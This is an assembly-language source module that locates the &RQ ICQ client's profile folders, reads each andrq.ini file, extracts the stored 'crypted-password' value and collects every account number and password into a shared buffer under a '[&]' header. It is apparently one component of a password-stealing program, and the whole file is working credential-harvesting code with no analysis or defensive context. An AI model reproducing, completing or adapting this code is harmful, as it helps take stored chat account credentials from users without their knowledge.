; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        .data
                szRQKeyPath     db "&RQ",0
                szRQAdd         db "*.*",0
                szRQFile        db "\andrq.ini",0
                szRQParam       db "crypted-password",0

        .code

; #########################################################################

ReadRQIniFile proc uses ebx lpPath: DWORD
        LOCAL   hFile, bRead: DWORD
        push    edi

        invoke  lstrcat, esi, lpPath
        invoke  lstrcat, esi, offset szRQFile

        invoke  CreateFile, esi, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @ret

        push    edi
        lea     edi, lpBuf2
        mov     ecx, 2048
        mov     al, 13
        rep     stosb
        pop     edi

        invoke  ReadFile, hFile, offset lpBuf2, 1024, addr bRead, NULL
        cmp     bRead, 0
        je      @end

        lea     edi, lpBuf2

@loop:
        cld
        mov     ecx, 2048
        mov     ebx, edi
        mov     al, 13
        repne   scasb
        cmp     byte ptr[edi], 13
        je      @end
        mov     byte ptr[edi-1], 0

        invoke  lstrcpyn, offset lpBuf3, ebx, 17
        invoke  lstrcmp, eax, offset szRQParam
        test    eax, eax
        jnz     @F
        add     ebx, 17

        szText  szRQFmt, "UIN(%s): %s",13,10
        invoke  wsprintf, offset lpBuf4, addr szRQFmt, lpPath, ebx, 0
        invoke  lstrcat, GlobalBuffer, offset lpBuf4
@@:

        inc     edi
        jmp     @loop

@end:
        invoke  CloseHandle, hFile

@ret:
        pop     edi
        mov     byte ptr[edi], 0
        ret
ReadRQIniFile endp

; #########################################################################

GetRQPasswords proc uses esi edi
        LOCAL   FindFileData: WIN32_FIND_DATA
        LOCAL   hFind: DWORD
        ; Write the greet message
        szText  szRQGreet, "[&]",13,10
        invoke  lstrcat, GlobalBuffer, addr szRQGreet

        lea     esi, lpBuf1

        invoke  GetUnPath, offset szRQKeyPath
        cmp     byte ptr[esi], 0
        jz      @ret

        mov     ecx, esi
@loop:
        cmp     byte ptr[ecx], 0
        je      @loop_end
        cmp     byte ptr[ecx], '\'
        jne     @F
        mov     edi, ecx
@@:
        inc     ecx
        jmp     @loop
        
@loop_end:
        inc     edi
        mov     byte ptr[edi], 0
        inc     esi

        invoke  lstrcat, esi, offset szRQAdd
        invoke  FindFirstFile, esi, addr FindFileData
        mov     hFind, eax
        inc     eax
        jz      @ret

@find_loop:
        invoke  ReadRQIniFile, addr FindFileData.cFileName

        invoke  FindNextFile, hFind, addr FindFileData
        test    eax, eax
        jnz     @find_loop

        invoke  FindClose, hFind
@ret:
        ret
GetRQPasswords endp
